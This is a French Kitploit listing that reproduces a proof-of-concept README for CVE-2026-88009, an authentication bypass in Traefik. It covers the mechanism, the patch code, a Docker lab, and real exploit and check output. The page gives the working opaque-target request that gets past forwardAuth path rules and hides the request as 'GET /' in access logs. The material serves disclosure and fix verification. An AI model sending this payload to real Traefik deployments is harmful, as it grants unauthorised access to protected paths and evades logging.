Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-88009-PoC — CVE-2026-88009 — Traefik transmet une cible de requête opaque rootless que le routage/forwardAuth interprète comme '/'. Contournement d'authentification + dissimulation des journaux d'accès, vérifié sur v3.7.10 / v3.7.13. | Kitploit
Outils/GitHubGitHub/boreas37/cve-2026-88009-poc
Analyse des VulnérabilitésExploitationRétro-ingénierieExploitation d'Applications WebSécurité WebAuthentificationLabs et Pratique
GitHub
boreas37/cve-2026-88009-poc

CVE-2026-88009-PoC

CVE-2026-88009 — Traefik transmet une cible de requête opaque rootless que le routage/forwardAuth interprète comme '/'. Contournement d'authentification + dissimulation des journaux d'accès, vérifié sur v3.7.10 / v3.7.13.

Voir le dépôt
6il y a 25 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Pas encore de données de popularité.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-88009 — Traefik route une cible de requête opaque en tant que / mais la transmet telle quelle

Affecté : Traefik < 2.11.57, et 3.0.0 – 3.7.13 Corrigé : 2.11.57 / 3.7.13 Correctif : commit 58d1e9ca2045 « Deny request with an opaque request target » — denyOpaque dans pkg/server/server_entrypoint_tcp.go Avis : GHSA-f52w-8j3h-j724 · CVSS 8.8 · CWE-1286 / CWE-444

Mécanisme

Le paquet net/http de Go n'impose pas la forme origin sur la cible de requête : il transmet la cible brute à url.ParseRequestURI. Une cible telle que

GET http:http://app.local/private/secret HTTP/1.1

se résout en {Scheme:"http", Opaque:"http://app.local/private/secret", Path:""} — une cible absolute-form légale selon la RFC 9112 §3.2.2. Traefik évalue alors tout par rapport à un chemin qui se normalise en / :

  • sanitizePath appelle URL.JoinPath(), qui copie Opaque et définit Path="/" ;
  • le muxer effectue la correspondance sur Path, donc PathPrefix(/) (et tout routeur Host()) correspond ;
  • forwardAuth construit X-Forwarded-Uri à partir de URL.RequestURI(), qui renvoie Opaque, donc le serveur d'authentification voit http://app.local/private/secret au lieu de /private/secret et une politique de préfixe de chemin échoue en mode ouvert ;
  • encodedCharacters inspecte EscapedPath() → / ;
  • le journal d'accès écrit GET / HTTP/1.1.

La requête sortante est écrite à nouveau avec URL.RequestURI(), qui renvoie Opaque tel quel, donc le backend reçoit la cible porteuse d'autorité de l'attaquant et la résout en /private/secret.

Le correctif enveloppe le gestionnaire du point d'entrée en dernier afin qu'il s'exécute en premier :

func denyOpaque(h http.Handler) http.Handler {
	return http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {
		if req.URL.Opaque != "" {
			log.WithoutContext().Debugf("Rejecting request because it has an opaque URL: %s", req.URL.Opaque)
			rw.WriteHeader(http.StatusBadRequest)
			return
		}
		h.ServeHTTP(rw, req)
	})
}

Lab

rôleimageconteneurport hôte
proxy vulnérabletraefik:v3.7.10poc-traefik-vuln-3710127.0.0.1:21020 → :8001 (point d'entrée opaque)
proxy corrigétraefik:v3.7.13poc-traefik-3713127.0.0.1:21023 → :8001
  • Routeur PathPrefix(/) avec forwardAuth → http://authz:8080/check.
  • poc-traefik-authz implémente une politique de préfixe de chemin : X-Forwarded-Uri commençant par /private → 403 DENY, tout le reste → 200 ALLOW ; il journalise l'URI exacte sur laquelle il a été interrogé.
  • poc-traefik-app résout une cible sans racine/absolue vers un chemin (le comportement que l'avis exige du backend : « against a backend that resolves a rootless target as a path ») et sert SECRET-AREA … pour /private/*.
  • Recette : lab/README.md.

Utilisation

python3 cve_2026_88009.py exploit --url http://127.0.0.1:21020   # vulnerable
python3 cve_2026_88009.py check   --url http://127.0.0.1:21023   # fixed

Le PoC utilise raw sockets volontairement : curl normalise la cible et http.client refuse un chemin non conforme à la forme d'origine, ce qui masque le bug dans les deux cas. --path, --vhost, --output sont disponibles.

Vérification (sortie réelle)

1. traefik:v3.7.10 vulnérable — contournement de forwardAuth

$ python3 cve_2026_88009.py exploit --url http://127.0.0.1:21020
[*] target            : http://127.0.0.1:21020
[*] protected path    : /private/secret
[*] opaque target     : http:http://app.local/private/secret
[*] mode              : exploit
[*] control  GET /private/secret HTTP/1.1 -> HTTP/1.1 403 Forbidden
    body: DENY uri=/private/secret
[*] bypass   GET http:http://app.local/private/secret HTTP/1.1
    -> HTTP/1.1 200 OK
    SECRET-AREA internal data served for /private/secret
    request_line: GET http://app.local/private/secret HTTP/1.1
    resolved_path: /private/secret
=> PASS (opaque target bypassed forwardAuth and reached /private/secret: HTTP 200, backend served the protected content)

Le serveur d'authentification a été consulté, mais avec l'URI forgée par l'attaquant — c'est le fail-open, d'après le journal du conteneur authz :

[authz] X-Forwarded-Uri='/private/secret' -> 403
[authz] X-Forwarded-Uri='http://app.local/private/secret' -> 200
[authz] X-Forwarded-Uri='/private/secret' -> 403

Et le journal d'accès du proxy masque l'attaque — la requête est enregistrée comme / :

192.168.48.1 - - [24/Oct/2026:13:22:28 +0000] "GET /private/secret HTTP/1.1" 403 24 "-" "-" 2 "opaque-lab@file" "-" 1ms
192.168.48.1 - - [24/Oct/2026:13:22:28 +0000] "GET / HTTP/1.1" 200 143 "-" "-" 3 "opaque-lab@file" "http://app:8080" 2ms

2. Même proxy, requête de forme origine (contrôle)

$ curl -sS -w '\n[%{http_code}]\n' http://127.0.0.1:21020/private/secret
DENY uri=/private/secret
[403]

3. traefik:v3.7.13 corrigé — cible opaque rejetée avant le routage

$ python3 cve_2026_88009.py check --url http://127.0.0.1:21023
[*] target            : http://127.0.0.1:21023
[*] protected path    : /private/secret
[*] opaque target     : http:http://app.local/private/secret
[*] mode              : check
[*] control  GET /private/secret HTTP/1.1 -> HTTP/1.1 403 Forbidden
    body: DENY uri=/private/secret
[*] bypass   GET http:http://app.local/private/secret HTTP/1.1
    -> HTTP/1.1 400 Bad Request
=> PASS (fixed: opaque request target rejected with HTTP 400 before routing)

Notes / limites

  • Démontré : contournement d'autorisation limité au chemin (forwardAuth en fail-open) et évasion des journaux d'accès. La même forme de cible permet également un routage inter-vhost (le backend reçoit http://app.local/…, c'est-à-dire une autorité qu'il n'a jamais vue depuis le routeur), car le routage correspondait à Path="/" tandis que la cible transmise porte l'hôte intégré.
  • Le contournement encodedCharacters n'a pas été reproduit séparément (le labo n'active pas allowEncodedSlash=false) ; il découle du même raisonnement EscapedPath()=="/" documenté dans l'avis.
  • Le backend résout délibérément les cibles sans racine en chemins ; un backend qui les rejetterait neutraliserait cet exploit de bout en bout particulier, mais pas la logique de contournement d'authentification dans le proxy (la décision de garde est déjà erronée avant la transmission).
Télécharger l’outil